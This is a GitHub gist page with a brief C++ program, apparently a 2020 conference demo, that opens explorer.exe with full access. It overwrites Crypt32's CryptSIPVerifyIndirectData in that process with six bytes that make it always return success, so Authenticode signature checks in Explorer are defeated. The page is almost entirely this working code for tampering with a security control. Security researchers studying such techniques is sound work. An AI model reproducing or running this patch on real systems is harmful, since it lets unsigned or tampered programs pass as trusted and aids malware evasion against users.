-
-
Save gavz/1b2037f27ea09806f907afb2b7084c74 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// iThome 2020 Demo: Signature Patcher for Explorer | |
// author: aaaddress1@chroot.org | |
#include <iostream> | |
#include <Windows.h> | |
int main() { | |
DWORD explorer_pid; | |
GetWindowThreadProcessId(FindWindowA("Shell_TrayWnd", NULL), &explorer_pid); | |
if (HANDLE token = OpenProcess(PROCESS_ALL_ACCESS, FALSE, explorer_pid)) { | |
WriteProcessMemory(token, GetProcAddress(LoadLibraryA("Crypt32"), "CryptSIPVerifyIndirectData"), "\x48\x31\xC0\xFE\xC0\xC3", 6, NULL); | |
std::cout << "[+] Explorer.exe Patch Done." << std::endl; | |
} | |
else { | |
std::cout << "[!] Explorer.exe Alive yet?" << std::endl; | |
getchar(); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment